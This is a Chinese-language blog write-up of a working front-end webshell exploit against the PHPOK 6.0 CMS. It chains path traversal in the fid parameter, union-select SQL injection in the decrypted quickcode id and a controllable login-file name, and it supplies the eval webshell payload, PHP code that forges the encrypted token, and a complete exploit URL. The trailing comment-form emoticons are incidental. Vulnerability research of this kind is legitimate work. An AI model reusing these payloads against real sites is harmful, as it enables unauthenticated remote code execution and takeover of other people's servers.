phpok 前台写shell

刚刚看了suanve师傅发的phpok

https://susec.me/2022/03/13/phpok6-0-%E5%89%8D%E5%8F%B0%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9Egetshell/

废话不多说直接看login_control控制器

image-20220313160238250

接收fidfcodequickcode三个参数,其中会根据fid去获取对应的php文件,然后作为一个密钥去对quickcode解密并赋值给$msg。文件默认路径是_cache下,可以../穿越

继续往下看

image-20220313160913707

解出quickcode后会做一些判断,然后会提取$msg['id']到数据库查询,看账号是否匹配

$rs = $this->model('admin')->get_one($msg['id']);

最后会把查询的idaccount放入$data,然后json编码,并创建一个登录文件

image-20220313161130417

可以看到这个文件名也可以控制,那么就看文件内容是否可控了

看一下查询,啥过滤也没有,可以union select控制返回内容了

image-20220313161446756

因为前面会校验accouont字段但是不会校验id字段,所以可以:

0' union select '<?php eval($_POST[0]);?>','admin',3,4,5,6,7,8,9,10-- 

然后生成一下

$t = new token_lib();
$f = ["id"=>"0' union select '<?php eval(\$_POST[0]);?>','admin',3,4,5,6,7,8,9,10-- ","user"=>"admin","time"=>1647156143,"domain"=>"127.0.0.1"];
$t->keyid(file_get_contents("../../index.php"));
$s=$t->encode($f);
echo $s;
http://127.0.0.1:89/phpok/admin.php?c=login&f=update&fid=../index&fcode=/../shell&quickcode=41a5f5MAkodXAQYYKlURzDbjkl4rDa5H2zM1S3kIx+U1r0DLVC/QVOxQ5eutrTa9k789HuTLowbk1WYDWTtMmbzd+C8c5OUu/f02lSgZdeRxVymty0d+DHUhJAwhXHFQXHdQ0mO1g6dX/vggGcgYksKJoYPXRNcaKXYhU+Ak9jZEKfzOnIK42BREH2Y332fJqaf5xRU8dVNNuhkb8RUv9bwJvyt0YNIiHwrZR4PSHayTDYNHH4pRmABx07txpbAQOGQNZufOpq

image-20220313162105095

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇